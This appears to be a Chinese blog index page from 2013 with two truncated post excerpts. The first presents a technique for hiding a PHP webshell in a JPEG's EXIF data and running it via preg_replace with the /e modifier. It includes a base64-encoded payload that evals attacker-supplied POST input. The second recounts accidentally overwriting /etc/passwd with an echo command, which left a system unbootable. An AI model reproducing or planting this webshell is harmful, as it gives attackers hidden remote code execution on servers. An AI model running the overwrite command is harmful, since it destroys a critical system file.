发布时间：2013-10-08 13:53:25
exif_read_data()preg_replace() //把webshell隐藏在jepg的exif中，读出来替换。//$exif = exif_read_data('/123.jpg'); preg_replace($exif['Make'],$exif['Model'],''）//preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=")).........【阅读全文】
发布时间：2013-10-06 13:12:12
废话下：国庆回家，蔽县的dns解析估计是被劫持了， 打开的网页有很多广告。 所以习惯性的，echo "nameserver 8.8.8.8" > /etc/resolv.conf 来解决这个问题。偶然的误操作，执行了echo "nameserver 8.8.8.8" > /etc/passwd 之后系统就没有起来过。思路1： 用pentoo盘进去chroot，但是2013pentoo用u盘装的时候 .........【阅读全文】
